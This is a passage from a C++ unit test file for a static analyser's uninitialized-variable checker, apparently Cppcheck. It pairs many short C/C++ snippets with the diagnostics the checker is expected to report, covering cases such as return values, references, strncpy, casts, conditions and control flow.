errout_str());\n\n checkUninitVar(\"void f(int x) {\\n\"\n \" struct AB ab;\\n\"\n \" x = ab.x = 12;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // enum..\n void uninitvar_enum() {\n checkUninitVar(\"void f()\\n\"\n \"{\\n\"\n \" enum AB { a, b };\\n\"\n \" AB ab;\\n\"\n \" if (ab);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: (error) Uninitialized variable: ab [legacyUninitvar]\\n\", errout_str());\n }\n\n // references..\n void uninitvar_references() {\n checkUninitVar(\"void f()\\n\"\n \"{\\n\"\n \" int a;\\n\"\n \" int &b = a;\\n\"\n \" b = 0;\\n\"\n \" int x = a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void f(struct blame_entry *ent)\\n\"\n \"{\\n\"\n \" struct origin *suspect = ent->suspect;\\n\"\n \" char hex[41];\\n\"\n \" strcpy(hex, sha1_to_hex(suspect->commit->object.sha1));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void foo()\\n\"\n \"{\\n\"\n \" const std::string s(x());\\n\"\n \" strchr(s.c_str(), ',');\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6717\n checkUninitVar(\"void f() {\\n\"\n \" struct thing { int value; };\\n\"\n \" thing it;\\n\"\n \" int& referenced_int = it.value;\\n\"\n \" referenced_int = 123;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void uninitvar_return() {\n\n checkUninitVar(\"static int foo() {\\n\"\n \" int ret;\\n\"\n \" return ret;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (error) Uninitialized variable: ret [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"static int foo() {\\n\"\n \" int ret;\\n\"\n \" return ret+5;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (error) Uninitialized variable: ret [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"static int foo() {\\n\"\n \" int ret;\\n\"\n \" return ret = 5;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n {\n checkUninitVar(\"static int foo() {\\n\"\n \" int ret;\\n\"\n \" cin >> ret;\\n\"\n \" return ret;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"static int foo() {\\n\"\n \" int ret;\\n\"\n \" return cin >> ret;\\n\"\n \"}\\n\", dinit(CheckUninitVarOptions, $.cpp = false));\n ASSERT_EQUALS(\"[test.c:3:19]: (error) Uninitialized variable: ret [legacyUninitvar]\\n\", errout_str());\n }\n\n // Ticket #6341- False negative\n {\n checkUninitVar(\"wchar_t f() { int i; return btowc(i); }\");\n ASSERT_EQUALS(\"[test.cpp:1:35]: (error) Uninitialized variable: i [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"wchar_t f(int i) { return btowc(i); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Avoid a potential false positive (#6341)\n checkUninitVar(\n \"void setvalue(int &x) {\\n\"\n \" x = 0;\\n\"\n \" return 123;\\n\"\n \"}\\n\"\n \"int f() {\\n\"\n \" int x;\\n\"\n \" return setvalue(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // Ticket #5412 - False negative\n {\n checkUninitVar(\"void f(bool b) {\\n\"\n \" double f;\\n\"\n \" if (b) { }\\n\"\n \" else {\\n\"\n \" f = 0.0;\\n\"\n \" }\\n\"\n \" printf (\\\"%f\\\",f);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:18]: (error) Uninitialized variable: f [legacyUninitvar]\\n\", errout_str());\n\n // Check for potential FP\n checkUninitVar(\"void f(bool b) {\\n\"\n \" double f;\\n\"\n \" if (b) { f = 1.0 }\\n\"\n \" else {\\n\"\n \" f = 0.0;\\n\"\n \" }\\n\"\n \" printf (\\\"%f\\\",f);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // Ticket #2146 - False negative\n checkUninitVar(\"int f(int x) {\\n\"\n \" int y;\\n\"\n \" return x ? 1 : y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:14]: (error) Uninitialized variable: y [legacyUninitvar]\\n\", errout_str());\n\n // Ticket #3106 - False positive\n {\n checkUninitVar(\"int f() {\\n\"\n \" int i;\\n\"\n \" return x(&i) ? i : 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"int f() {\\n\"\n \" int i;\\n\"\n \" return x() ? i : 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:16]: (error) Uninitialized variable: i [legacyUninitvar]\\n\", errout_str());\n }\n }\n\n void uninitvar_assign() { // = { .. }\n // #1533\n checkUninitVar(\"char a()\\n\"\n \"{\\n\"\n \" char key;\\n\"\n \" struct A msg = { .buf = {&key} };\\n\"\n \" init(&msg);\\n\"\n \" key++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #5660 - False positive\n checkUninitVar(\"int f() {\\n\"\n \" int result;\\n\"\n \" int *res[] = {&result};\\n\"\n \" foo(res);\\n\"\n \" return result;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6873\n checkUninitVar(\"int f() {\\n\"\n \" char a[10];\\n\"\n \" char *b[] = {a};\\n\"\n \" foo(b);\\n\"\n \" return atoi(a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // = { .. }\n checkUninitVar(\"int f() {\\n\"\n \" int a;\\n\"\n \" int *p[] = { &a };\\n\"\n \" *p[0] = 0;\\n\"\n \" return a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n }\n\n // strncpy doesn't always null-terminate..\n void uninitvar_strncpy() {\n // TODO: Add this checking\n // Can it be added without hardcoding?\n\n checkUninitVar(\"void f()\\n\"\n \"{\\n\"\n \" char a[100];\\n\"\n \" strncpy(a, s, 20);\\n\"\n \" strncat(a, s, 20);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:5]: (error) Dangerous usage of 'a' (strncpy doesn't always null-terminate it).\\n\", \"\", errout_str());\n\n checkUninitVar(\"void f()\\n\"\n \"{\\n\"\n \" char a[100];\\n\"\n \" strncpy(a, \\\"hello\\\", 3);\\n\"\n \" strncat(a, \\\"world\\\", 20);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:5]: (error) Dangerous usage of 'a' (strncpy doesn't always null-terminate it).\\n\", \"\", errout_str());\n\n checkUninitVar(\"void f()\\n\"\n \"{\\n\"\n \" char a[100];\\n\"\n \" strncpy(a, \\\"hello\\\", sizeof(a));\\n\"\n \" strncat(a, \\\"world\\\", 20);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #3245 - false positive\n {\n checkUninitVar(\"void f() {\\n\"\n \" char a[100];\\n\"\n \" strncpy(a,p,10);\\n\"\n \" memcmp(a,q,10);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void f() {\\n\"\n \" char a[100];\\n\"\n \" strncpy(a,p,10);\\n\"\n \" if (memcmp(a,q,10)==0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // Using strncpy isn't necessarily dangerous usage\n checkUninitVar(\"void f(const char dev[], char *str) {\\n\"\n \" char buf[10];\\n\"\n \" strncpy(buf, dev, 10);\\n\"\n \" strncpy(str, buf, 10);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void f() {\\n\"\n \" char dst[4];\\n\"\n \" const char* source = \\\"You\\\";\\n\"\n \" strncpy(dst, source, sizeof(dst));\\n\"\n \" char value = dst[2];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // valid and invalid use of 'int a(int x) { return x + x; }'\n void func_uninit_var() {\n const std::string funca(\"int a(int x) { return x + x; }\");\n\n checkUninitVar((funca +\n \"void b() {\\n\"\n \" int x;\\n\"\n \" a(x);\\n\"\n \"}\").c_str());\n ASSERT_EQUALS(\"[test.cpp:3:7]: (error) Uninitialized variable: x [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar((funca +\n \"void b() {\\n\"\n \" int *p;\\n\"\n \" a(*p);\\n\"\n \"}\").c_str());\n ASSERT_EQUALS(\"[test.cpp:3:8]: (error) Uninitialized variable: p [legacyUninitvar]\\n\", errout_str());\n }\n\n\n // valid and invalid use of 'void a(int *p) { *p = 0; }'\n void func_uninit_pointer() {\n const std::string funca(\"void a(int *p) { *p = 0; }\");\n\n // ok - initialized pointer\n checkUninitVar((funca +\n \"void b() {\\n\"\n \" int buf[10];\\n\"\n \" a(buf);\\n\"\n \"}\").c_str());\n ASSERT_EQUALS(\"\", errout_str());\n\n // not ok - uninitialized pointer\n checkUninitVar((funca +\n \"void b() {\\n\"\n \" int *p;\\n\"\n \" a(p);\\n\"\n \"}\").c_str());\n ASSERT_EQUALS(\"[test.cpp:3:7]: (error) Uninitialized variable: p [legacyUninitvar]\\n\", errout_str());\n }\n\n void uninitvar_typeof() {\n checkUninitVar(\"void f() {\\n\"\n \" struct Fred *fred;\\n\"\n \" typeof(fred->x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void f() {\\n\"\n \" struct SData * s;\\n\"\n \" ab(typeof(s->status));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void f() {\\n\"\n \" struct SData * s;\\n\"\n \" TYPEOF(s->status);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"\", \"[test.cpp:3:12]: (error) Uninitialized variable: s [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"void f() {\\n\"\n \" int *n = ({ typeof(*n) z; (typeof(*n)*)z; })\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void uninitvar_ignore() {\n checkUninitVar(\"void foo() {\\n\"\n \" int i;\\n\"\n \" dostuff((int&)i, 0);\\n\" // <- cast is not use\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"int foo() {\\n\"\n \" int i;\\n\"\n \" return (int&)i + 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:16]: (error) Uninitialized variable: i [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"void foo() {\\n\"\n \" int i;\\n\"\n \" dostuff(*&i, 0);\\n\" // <- *& is not use\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"int foo() {\\n\"\n \" int i;\\n\"\n \" return *&i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (error) Uninitialized variable: i [legacyUninitvar]\\n\", errout_str());\n }\n\n void uninitvar2() {\n // using uninit var\n checkUninitVar(\"void f() {\\n\"\n \" int x;\\n\"\n \" x++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Uninitialized variable: x [legacyUninitvar]\\n\", errout_str());\n\n // extracttests.start: char str[10];\n checkUninitVar(\"void f() {\\n\"\n \" int x;\\n\"\n \" str[x] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (error) Uninitialized variable: x [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"void f() {\\n\" // #7736\n \" int buf[12];\\n\"\n \" printf (\\\"%d\\\", buf[0] );\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (error) Uninitialized variable: buf [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"void f() {\\n\"\n \" int x;\\n\"\n \" int y = x & 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:13]: (error) Uninitialized variable: x [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"void f() {\\n\"\n \" int x;\\n\"\n \" int y = 3 & x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (error) Uninitialized variable: x [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"void f() {\\n\"\n \" int x;\\n\"\n \" x = 3 + x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:13]: (error) Uninitialized variable: x [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"void f() {\\n\"\n \" int x;\\n\"\n \" x = x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (error) Uninitialized variable: x [legacyUninitvar]\\n\", errout_str());\n\n // extracttests.start: struct ABC {int a;};\n checkUninitVar(\"void f() {\\n\"\n \" struct ABC *abc;\\n\"\n \" abc->a = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Uninitialized variable: abc [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"int f() {\\n\"\n \" static int x;\\n\"\n \" return ++x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"int f() {\\n\"\n \" extern int x;\\n\"\n \" return ++x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void f() {\\n\" // #3926 - weird cast.\n \" int x;\\n\"\n \" *(((char *)&x) + 0) = 0;\\n\"\n \"}\", dinit(CheckUninitVarOptions, $.cpp = false));\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void f() {\\n\" // #4737 - weird cast.\n \" int x;\\n\"\n \" do_something(&((char*)&x)[0], 1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void f() {\\n\"\n \" int x;\\n\"\n \" char *p = (char*)&x + 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void f() {\\n\"\n \" int i;\\n\"\n \" i=f(), i!=2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // using uninit var in condition\n checkUninitVar(\"void f(void) {\\n\"\n \" int x;\\n\"\n \" if (x) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (error) Uninitialized variable: x [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"void f() {\\n\"\n \" int x;\\n\"\n \" if (1 == (3 & x)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (error) Uninitialized variable: x [legacyUninitvar]\\n\", errout_str());\n\n // ?:\n checkUninitVar(\"int f(int *ptr) {\\n\"\n \" int a;\\n\"\n \" int *p = ptr ? ptr : &a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"int f(int a) {\\n\"\n \" int x;\\n\"\n \" if (a==3) { x=2; }\\n\"\n \" y = (a==3) ? x : a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // = ({ .. })\n checkUninitVar(\"void f() {\\n\"\n \" int x = ({ 1 + 2; });\\n\"\n \" int y = 1 + (x ? y : y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:22]: (error) Uninitialized variable: y [legacyUninitvar]\\n\", errout_str());\n\n // >> => initialization / usage\n {\n const char code[] = \"void f() {\\n\"\n \" int x;\\n\"\n \" if (i >> x) { }\\n\"\n \"}\";\n checkUninitVar(code);\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(code, dinit(CheckUninitVarOptions, $.cpp = false));\n ASSERT_EQUALS(\"[test.c:3:14]: (error) Uninitialized variable: x [legacyUninitvar]\\n\", errout_str());\n }\n\n checkUninitVar(\"void f() {\\n\"\n \" int i, i2;\\n\"\n \" strm >> i >> i2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // unconditional initialization\n checkUninitVar(\"int f() {\\n\"\n \" int ret;\\n\"\n \" if (a) { ret = 1; }\\n\"\n \" else { {} ret = 2; }\\n\"\n \" return ret;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"int f() {\\n\"\n \" int ret;\\n\"\n \" if (a) { ret = 1; }\\n\"\n \" else { s=foo(1,{2,3},4); ret = 2; }\\n\"\n \" return ret;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // conditional initialization\n checkUninitVar(\"void f() {\\n\"\n \" int x;\\n\"\n \" if (y == 1) { x = 1; }\\n\"\n \" else { if (y == 2) { x = 1; } }\\n\"\n \" return x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:12]: (error) Uninitialized variable: x [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"void f() {\\n\"\n \" int x;\\n\"\n \" if (y == 1) { x = 1; }\\n\"\n \" else { if (y == 2) { x = 1; } }\\n\"\n \" if (y == 3) { }\\n\" // <- ignore condition\n \" return x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:12]: (error) Uninitialized variable: x [legacyUninitvar]\\n\", errout_str());\n\n // initialization in condition\n checkUninitVar(\"void f() {\\n\"\n \" int a;\\n\"\n \" if (init(&a)) { }\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // return, break, continue, goto\n checkUninitVar(\"void f() {\\n\"\n \" int x;\\n\"\n \" if (y == 1) { return; }\\n\"\n \" else { x = 1; }\\n\"\n \" return x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void f() {\\n\"\n \" int x;\\n\"\n \" if (y == 1) { return; }\\n\"\n \" return x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (error) Uninitialized variable: x [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"int f(int x) {\\n\"\n \" int ret;\\n\"\n \" if (!x) {\\n\"\n \" ret = -123;\\n\"\n \" goto out1;\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \"out1:\\n\"\n \"out2:\\n\"\n \" return ret;\\n\"\n \"}\", dinit(CheckUninitVarOptions, $.cpp = false));\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void f() {\\n\"\n \" int i;\\n\"\n \" if (x) {\\n\"\n \" i = 1;\\n\"\n \" } else {\\n\"\n \" goto out;\\n\"\n \" }\\n\"\n \" i++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"int f() {\\n\"\n \" int i,x;\\n\"\n \" for (i=0;i<9;++i)\\n\"\n \" if (foo) break;\\n\"\n \" return x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:12]: (error) Uninitialized variable: x [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"int f() {\\n\"\n \" int x;\\n\"\n \" while (foo)\\n\"\n \" if (bar) break;\\n\"\n \" return x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:12]: (error) Uninitialized variable: x [legacyUninitvar]\\n\", errout_str());\n\n // try/catch : don't warn about exception variable\n checkUninitVar(\"void f() {\\n\"\n \" try {\\n\"\n \" } catch (CException* e) {\\n\"\n \" trace();\\n\"\n \" e->Delete();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void f() {\\n\" // #5347\n \" try {\\n\"\n \" } catch (const char* e) {\\n\"\n \" A a = e;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // exit\n checkUninitVar(\"void f() {\\n\"\n \" int x;\\n\"\n \" if (y == 1) { exit(0); }\\n\"\n \" else { x = 1; }\\n\"\n \" return x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // strange code.. don't crash (#3415)\n checkUninitVar(\"void foo() {\\n\"\n \" int i;\\n\"\n \" ({ if (0); });\\n\"\n \" for_each(i) { }\\n\"\n \"}\", dinit(CheckUninitVarOptions, $.cpp = false));\n\n // if, if\n checkUninitVar(\"void f(int a) {\\n\"\n \" int i;\\n\"\n \" if (a) i = 0;\\n\"\n \" if (a) i++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void f() {\\n\"\n \" int a,b=0;\\n\"\n \" if (x) {\\n\"\n \" if (y) {\\n\"\n \" a = 0;\\n\"\n \" b = 1;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" if (b) a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void f() {\\n\"\n \" int a=0, b;\\n\"\n \" if (x) { }\\n\"\n \" else { if (y==2) { a=1; b=2; } }\\n\"\n \" if (a) { ++b; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"static void f(int x, int y) {\\n\"\n \" int a;\\n\"\n \" if (x == 0) { a = y; }\\n\"\n \" if (x == 0 && (a == 1)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"static void f() {\\n\"\n \" int a=0, b;\\n\"\n \" if (something) { a = dostuff(&b); }\\n\"\n \" if (!a || b) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"static void f(int x, int y) {\\n\"\n \" int a;\\n\"\n \" if (x == 0 && (a == 1)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:20]: (error) Uninitialized variable: a [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"void f() {\\n\"\n \" int a;\\n\"\n \" if (x) { a = 0; }\\n\"\n \" if (x) { if (y) { a++; } }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void f() {\\n\"\n \" int a;\\n\"\n \" if (x) { a = 0; }\\n\"\n \" if (x) { if (y) { } else { a++; } }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"struct AB { int a; int b; };\\n\"\n \"void f(void) {\\n\"\n \" struct AB ab;\\n\"\n \" if (x) ab = getAB();\\n\"\n \" else ab.a = 0;\\n\"\n \" if (ab.a == 1) b = ab.b;\\n\"\n \"}\", dinit(CheckUninitVarOptions, $.cpp = false));\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"int f(void) {\\n\"\n \" int a;\\n\"\n \" int i;\\n\"\n \" if (x) { noreturn(); }\\n\"\n \" else { i = 0; }\\n\"\n \" if (i==1) { a = 0; }\\n\"\n \" else { a = 1; }\\n\"\n \" return a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"int f(int a) {\\n\" // #4560\n \" int x = 0, y;\\n\"\n \" if (a) x = 1;\\n\"\n \" else return 0;\\n\"\n \" if (x) y = 123;\\n\" // <- y is always initialized\n \" else {}\\n\"\n \" return y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"int f(int a) {\\n\" // #6583\n \" int x;\\n\"\n \" if (a < 2) exit(1);\\n\"\n \" else if (a == 2) x = 0;\\n\"\n \" else exit(2);\\n\"\n \" return x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"int f(int a) {\\n\" // #4560\n \" int x = 1, y;\\n\"\n \" if (a) x = 0;\\n\"\n \" else return 0;\\n\"\n \" if (x) {}\\n\"\n \" else y = 123;\\n\" // <- y is always initialized\n \" return y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void f(int x) {\\n\" // #3948\n \" int value;\\n\"\n \" if (x !=-1)\\n\"\n \" value = getvalue();\\n\"\n \" if (x == -1 || value > 300) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"enum t_err { ERR_NONE, ERR_BAD_ARGS };\\n\" // #9649\n \"struct box_t { int value; };\\n\"\n \"int init_box(box_t *p, int v);\\n\"\n \"\\n\"\n \"void foo(int ret) {\\n\"\n \" box_t box2;\\n\"\n \" if (ret == ERR_NONE)\\n\"\n \" ret = init_box(&box2, 20);\\n\"\n \" if (ret == ERR_NONE)\\n\"\n \" z = x + box2.value;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void f(int x) {\\n\"\n \" int value;\\n\"\n \" if (x == 32)\\n\"\n \" value = getvalue();\\n\"\n \" if (x == 1)\\n\"\n \" v = value;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:9]: (error) Uninitialized variable: value [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"void f(int x) {\\n\"\n \" int value;\\n\"\n \" if (x == 32)\\n\"\n \" value = getvalue();\\n\"\n \" if (x == 32) {}\\n\"\n \" else v = value;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:12]: (error) Uninitialized variable: value [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"static int x;\" // #4773\n \"int f() {\\n\"\n \" int y;\\n\"\n \" if (x) g();\\n\"\n \" if (x) y = 123;\\n\"\n \" else y = 456;\\n\"\n \" return y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"static int x;\" // #4773\n \"int f() {\\n\"\n \" int y;\\n\"\n \" if (!x) g();\\n\"\n \" if (x) y = 123;\\n\"\n \" else y = 456;\\n\"\n \" return y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void f(int a) {\\n\"\n \" int x;\\n\"\n \" if (a) x=123;\\n\"\n \" if (!a) {\\n\"\n \" if (!a) {}\\n\"\n \" else if (x) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // asm\n checkUninitVar(\"void f() {\\n\"\n \" int x;\\n\"\n \" asm();\\n\"\n \" x++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // sizeof / typeof / offsetof / etc\n checkUninitVar(\"void f() {\\n\"\n \" int i;\\n\"\n \" sizeof(i+1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void f() {\\n\"\n \" int i;\\n\"\n \" if (100 == sizeof(i+1));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void f() {\\n\"\n \" struct ABC *abc;\\n\"\n \" int i = ARRAY_SIZE(abc.a);\"\n \"}\");\n TODO_ASSERT_EQUALS(\"\", \"[test.cpp:3:24]: (error) Uninitialized variable: abc [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"void f() {\\n\"\n \" int *abc;\\n\"\n \" typeof(*abc);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void f() {\\n\"\n \" struct ABC *abc;\\n\"\n \" return do_something(typeof(*abc));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void f() {\\n\"\n \" A *a;\\n\"\n \" a = malloc(sizeof(*a));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // &\n checkUninitVar(\"void f() {\\n\" // #4426 - address of uninitialized variable\n \" int a,b;\\n\"\n \" if (&a == &b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void f() {\\n\" // #4439 - cast address of uninitialized variable\n \" int a;\\n\"\n \" x((LPARAM)(RECT*)&a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"int main() {\\n\"\n \" int done;\\n\"\n \" dostuff(1, (AuPointer) &done);\\n\" // <- It is not conclusive if the \"&\" is a binary or unary operator. Bailout.\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void f() {\\n\" // #4778 - cast address of uninitialized variable\n \" long a;\\n\"\n \" &a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void f() {\\n\" // #4717 - ({})\n \" int a = ({ long b = (long)(123); 2 + b; });\\n\"\n \"}\", dinit(CheckUninitVarOptions, $.cpp = false));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // #3869 - reference variable\n void uninitvar4() {\n checkUninitVar(\"void f() {\\n\"\n \" int buf[10];\\n\"\n \" int &x = buf[0];\\n\"\n \" buf[0] = 0;\\n\"\n \" x++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // #3861\n void uninitvar5() {\n // ensure there is no false positive\n checkUninitVar(\"void f() {\\n\"\n \" x c;\\n\"\n \" c << 2345;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ensure there is no false negative\n checkUninitVar(\"void f() {\\n\"\n \" char c;\\n\"\n \" char a = c << 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:14]: (error) Uninitialized variable: c [legacyUninitvar]\\n\", errout_str());\n }\n\n // #13227\n void uninitvar6() {\n checkUninitVar(\"int foo(int x) {\\n\"\n \" int i;\\n\"\n \" if (x == 1) {\\n\"\n \" i = 3;\\n\"\n \" } else {\\n\"\n \" do {\\n\"\n \" return 2;\\n\"\n \" } while (0);\\n\"\n \" }\\n\"\n \" return i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void uninitvar8() {\n const char code[] = \"struct Fred {\\n\"\n \" void Sync(dsmp_t& type, int& 